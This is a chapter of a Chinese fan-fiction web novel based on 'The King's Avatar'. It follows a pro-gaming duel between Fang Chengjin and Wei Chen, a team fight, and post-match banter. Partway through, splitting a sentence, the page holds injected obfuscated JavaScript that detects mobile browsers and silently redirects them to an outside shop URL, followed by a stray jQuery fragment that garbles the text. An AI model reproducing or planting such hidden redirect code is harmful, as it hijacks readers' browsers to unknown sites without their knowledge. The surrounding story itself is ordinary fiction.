安静的是方成锦,不是魏琛。

    他可是深谙该如何趁火打劫的,正所谓趁她病要她命,混乱状态就那么几秒,十秒钟都不到,那么难得,他当然要抓准时机。

    那些吟唱时间不长的法术被他读了个遍,挨个扔到剪秋罗脑袋上,先用燃烧箭矢和暗影烈焰打点伤害,等混乱即将解除,再手疾眼快地补一个束缚术,再禁锢五秒。

    最后才是蓄力已久的诅咒之箭。没能蓄力到满,但也有足足二十枚,此刻尽数刺出。

    前十九支箭矢尽中,只有第二十支诅咒之箭生出纰漏。

    剪秋罗的混乱效果解除了。

    最后一箭被她抬手挥开,法杖撞上诅咒之箭,刮出一道清脆锐响,叮叮当当。方成锦道:“刚才是男士优先,现在该我了吧。”

    魏琛大言不惭道:“你可以继续谦让一手,我不介意。”

    “我才没那么好心!”方成锦笑了。

    剪秋罗立刻冲上,天击、龙牙、霸碎、落花掌,她的速度太快,操作、状态,都在巅峰,魏琛躲闪不及,硬吃好几段连击,眼睁睁看着斗者意志的金光渐渐漫出,转瞬间就叠到第三层,炫纹已经满了。

    七个火炫纹,熠熠生辉,好不绚丽,正是方成锦最爱。

    闪闪发光的炫纹已是蓄势待发的状态,进攻间尽数弹出,伤害爆炸,爆出簇簇血花。

    她向来勇猛,打法强硬,此时信手刺出五十级大招强龙压,强制倒地不说,伤害也灌满了,魏琛看得一阵牙疼。

    索克萨尔生命急剧下降,魏琛看着也心烦,不禁想道:假如此时还是上个赛季……以他初入联盟的状态,何愁不能反击?

    状态是否有所下滑,不会有人比选手本人更清楚了。

    方成锦毕竟年轻,操作并非毫无错漏,只是魏琛跟不上了。有很多次,他已捕捉到绝佳的时机,找到她致命的漏洞,可是无法出手。

    他终究慢了一筹。

    这一筹可定胜负,但魏琛没有放弃,反而沉下心来,静静等待时机。他就不信了,一个刚出道没多久的毛头小子,他还治不了她?

    剪秋罗像猛兽一样缠上来,向他展示着寒光雪亮的利爪,技能一个接一个地撞向索克萨尔,方成锦的手速一直维持在峰值,几乎没有太大波动。

    连击到一定次数,索克萨尔的血量已然岌岌可危,而魏琛没有动作,只是无言地等,只能等。

    怪不得有人愿意拿她和叶秋相较,这两个战斗法师有着如出一辙的锋锐。出道三个月,方成锦已有凛凛威名,正是少年英才,说她是第一杖法的大有人在。

    不过联盟里也就她这一个杖法,联盟第一杖法,也可以是联盟倒数第一杖法。方成锦才不管呢,她就要做第一啦!

    赫赫扬扬,如日出东方。谁意气风发的时候不是这样,魏琛一时间回想起无数曾经,他深吸一口气。

    随后眼前一亮,蓦然想道:空当!

    剪秋罗的技能衔接出现了一个很小的缺口,CD还在转,浮空四连刺的最后一击没能打出,只好遗憾中断,换成一个普攻。

    普攻的直刺可是不带控制效果的,魏琛心下一喜,再次读出一个束缚术,将剪秋罗死死锁住,这次换他得意起来,扬眉吐气道:“跟我斗?再等八百年吧!”

    重申,方成锦现在最烦控制系,她不禁紧紧锁起眉,一丝火气很快涌上心头。

    她舔了舔虎牙,将那股烦躁狠狠地按下。

    被禁锢着的剪秋罗无法移动,魏琛放完狠话立刻就跑,开玩笑,他只是一个柔弱无力软烂脱骨的脆皮术士,发癫了才会和战斗法师硬碰硬,此时不跑,更待何时?

    当务之急还是先拉开距离,等他找到个安全的地方再继续猥琐读条。

    这样想着,索克萨尔回身扔了一个操纵术,再控剪秋罗数秒。

    操纵术的黑光牵引着剪秋罗,迫使她不断退后,离索克萨尔越来越远。这个距离很有讲究,即便负面状态消失,剪秋罗的技能也砸不到索克萨尔头上,但凭借着死亡之手的施法距离加成,索克萨尔反而能命中剪秋罗。

    几秒转瞬而过,剪秋罗终于脱身,方成锦所做的第一件事就是重新近身,借助斗者意志和百龙流星打的速度加成,剪秋罗很快追上索克萨尔,魔杖即将劈头砸下。

    索克萨尔没有移动。

    术士先前不断翕张的唇瓣骤然合上,吟唱结束了。

    成败在此一举,一切只看眼下。魏琛紧急按下六星光牢的技能按键,心内焦灼无比,额头为此浮起一层细汗。

    六星光牢再次升起,这一次,剪秋罗没能避开,没能冲破。

    “哈哈哈哈哈哈!”比赛间里,魏琛仰天长笑起来,他没笑多久,因为心有余悸,她实在太快了……只差一秒,不,一秒都不到,好在有死亡之手,好在索克萨尔的施法距离向来令他骄傲。

    好不容易才抓住的机会,不能放任它溜走。

    他凝神,抓住六星光牢的禁足期,无数技能飞出。

    魏琛为索克萨尔的施法距离自豪,方成锦自然为此心烦意乱,剪秋罗无法出招,她也没事干,干脆打起字来:“你真的很烦。”

    “哈哈,谬赞谬赞。”魏琛得意洋洋。

    到了这一刻,面临这样的危机,她反而渐渐平静下来。

    心中只有一个念头:不想输。

    愿望太强烈,激发出更庞大的斗志,在心底煌煌燃烧。方成锦寸步不移地盯着屏幕,想道:一定还有机会。

    读条职业的缺点很明显,也很致命,总有被她抓住的时候,一旦抓住就是另一次逆转。

    她也不信邪:我命由我不由天,剪秋罗,助我破鼎!

    万幸,这样的机会她从不错过,向来抓得住。

    这一回,轮到索克萨尔转CD了。

    陷入冷却期的那一刻,魏琛当即就要后退。术士可没有近战技能,说是手无缚鸡之力都毫不夸张,他转身向不远处掩体跑去。

    可是,没能来得及。

    剪秋罗敏捷地跃起,凌空劈下一杖,那是一记平平无奇的天击,唤起一个短暂的小浮空,然而距离已经拉进,随后是魔道学者的暗影斗篷,剪秋罗蓦然一拉,将索克萨尔兜入怀中。

    出手的方成锦反倒吓了一跳:“魏队呀,我们好像有点暖胃了。”

    魏琛无语,但他已无暇回应。

    两个角色的面庞近在咫尺,感觉马上就要产生一些多余的情感了,方成锦向来洁身自好,是一个单纯的大女孩,见此又请索克萨尔吃了一杖,把他挑飞老远,赶紧保持下社交距离吧!

    紧接着,就是熟悉的狂风骤雨。那是魏琛在微草比赛录像中看过无数次的操作,如今尽数落在他的索克萨尔身上。

    然后,一击致命。

    直到生命尽头,直到血量耗空,他都没能再度出手。

    还是那样。他的眼睛看到机会,可是双手无法打出完美的操作。他想捶一下桌子,又怕损伤手指,只好沉默地收手,文火煎熬着他的内心,似乎正慢慢将他职业生涯所剩的时间烧干。

    再来一次,或许结果不会是这样。他真心实意地想,真想和她再打一次啊。

    可惜机会不多,时间更少。

    他知道方成锦的时间还有很多。中场休息过去,团队赛再度对垒,遥遥望见剪秋罗身影的那一刻,魏琛很难不这么想。

    队友将索克萨尔保护得很好,他被层层掩在队伍最后,方成锦找不到机会动他,只好暂时放弃,专心应对眼前的气功师。

    这是本场比赛方世镜使用的角色。

    方世镜的定位是自由人,每场比赛不一定拿什么角色。联赛已是第二赛季,这样的选手渐渐少了,如今只剩他一人。

    法杖已迎上气功师的双掌,方成锦这才做出迟来的预告:“我是一头威震世界的猛虎!”

    “嗯嗯,那我是武松打虎。”方世镜说,贴身拍出一记推云掌。

    击退效果鲜明,剪秋罗连连后退,方世镜当即要追。

    两队已交战许久,正在这时,方士谦的防风一步步上前,不再隐匿在队友身后,悄无声息地举起武器。

    天使威光。

    以防风为中心,一道光环迅速展开,所过之处一片震荡。

    这个强悍的、无视霸体的击退技能,毫无征兆地将方世镜的攻势冲破,蓝雨的阵型顿时一乱,方成锦抓准这一刻的变乱迅速冲上,怒龙穿心!

    方成锦打美了,兴头上来还不忘夸方士谦一句:“好配合!”

    兄妹心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692738|206647||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    意相通,无需多言,纵然缄默不言也有几分默契,方士谦道:“不然呢?我是你哥。”

    微草这治疗也挺有意思的。魏琛想道,意识、出手的时机、对血线的把控都相当不错,林杰挖到宝了啊……这双胞胎是怎么生的?抓周抓到的是鼠标?

    只能说双卡双待是方家祖传艺能,方颂章大学还辅修了第二学位呢。

    本赛季蓝雨一路低走,魏琛的状态众人都看在眼中,队友们七嘴八舌地吹起水来,只谈对手,不提队内表现,魏琛心里有数,不由得失笑:他哪里就脆弱到这种程度,说都说不得。

    蓝雨众人念叨着对手,就见微草的队伍浩浩荡荡地从对面过来,最前面的正是方成锦和林杰,方士谦走在妹妹旁边,落后一步。

    她太显眼了,从发丝到身量,从眼角到眉梢,都是如此。此刻正侧头和哥哥说话,便露出半张漫不经心的、锐气逼人的侧脸,眉毛微微挑起,勾出两弯弦月似的线条,那股勃发的英气扑面而来,锋光尽放。

    赢家微草这边喜气洋洋,输家蓝雨那边也未见得有多低迷失落,输了固然可惜,可这片赛场上的胜败太过寻常,总要习惯的。

    两队人马攀谈起来,说的都是那些老话。林杰也看得出魏琛的状态,这方面他不会多说,只是轻松地笑笑,“一起吃个便饭?”

    两位副队已经挤在一起,同样聊得正欢,方世镜给方成锦推荐了几家私房菜,本地人认证,绝不踩雷。

    方成锦见饭眼开,亲热地说:“方哥大好人。”

    “嗯,我是大好人,你是小好人。”方世镜笑。

    方士谦阴暗地想:哎,你叫他哥,哎,他又姓方……说过很多次了,方成锦你只有一个哥哥,怎么就是记不住。

    他没说话,只抱着胳膊站在一旁,充当石狮子。

    选手通道里不许摆放杂物,方成锦撞他肩膀,“傻站着干嘛,不会说话了?”

    “今天算了。”

    魏琛收回视线,摇了摇手,“忙着带孩子呢。”

    “青训的?”林杰了然。

    说曹操曹操到,未见其人,先闻其声,一串闹哄哄的语声冲撞着方成锦的耳膜,她微微皱眉,想闭上耳朵。

    “——上场之前不是还说区区微草新人不足为惧,说什么秒之秒之的话吗?哇,老鬼你丢脸丢大了啊!”

    那声音愈发地近了,是一个年轻的男声。

    整天“老鬼”、“老鬼”地叫他,整个蓝雨俱乐部唯此一人。魏琛额头青筋直跳,伸手捂上来人的嘴,黄少天掰着他的手背嗷嗷叫了几声,用力挥开,又嘀咕着说:“切,心眼那么小,拿什么赢比赛,回俱乐部多和我切磋啦!”

    魏琛骂道:“死小鬼,毛都没长齐,学别人放什么狠话。”

    “你被微草那个副队长打成那样,还好意思来教训我?”

    黄少天才不听他的,左耳进右耳出,说到一半忽觉不对,他口中的“微草副队长”就站在他眼前。

    抬起眼,便看清了那张脸。俊眼修眉,风神竦秀,他忽然语塞。

    隔着一点距离,方成锦面无表情地捂住耳朵,说:“这小孩叽里咕噜说什么呢?好吵。”

    这个年纪的孩子最不愿意被人看轻,不愿被称作“小孩”,黄少天显然不乐意了,两眉高高扬起。

    情绪一激动,声线便尖细几分,说起话来又密又快,“谁说我是小孩?我都已经十六岁,马上就可以上赛场,到时候一定把你砍成八片。”

    他放送了一些粤韵风华,方成锦听不懂,便彬彬有礼地说:“可以不要再讲话了吗?你普通话很差,我听不懂。”

    这些恶评还不算完,方成锦仍不打算放过黄少天,毕竟良言一句三冬暖,恶语伤人好好玩,她和哥哥附耳说道:“你看,戳一下响一下,好玩儿。”

    同龄人玩的:荣耀、超级玛丽、小蜜蜂……

    方成锦玩的:同龄人。就很……懂得都懂吧!

    黄少天吃了瘪,气呼呼地往方世镜身边站,不忘凌厉回击:“不是吧,你真的好意思说我?知不知道你讲起话来很像黏糊麻辣烫吃多了?”

    “嘿!”方成锦怒极,双眉立即竖起,更加卖力地吞起音来,“哪儿黏糊了?你快闭了吧,跟你一外地的说不清!”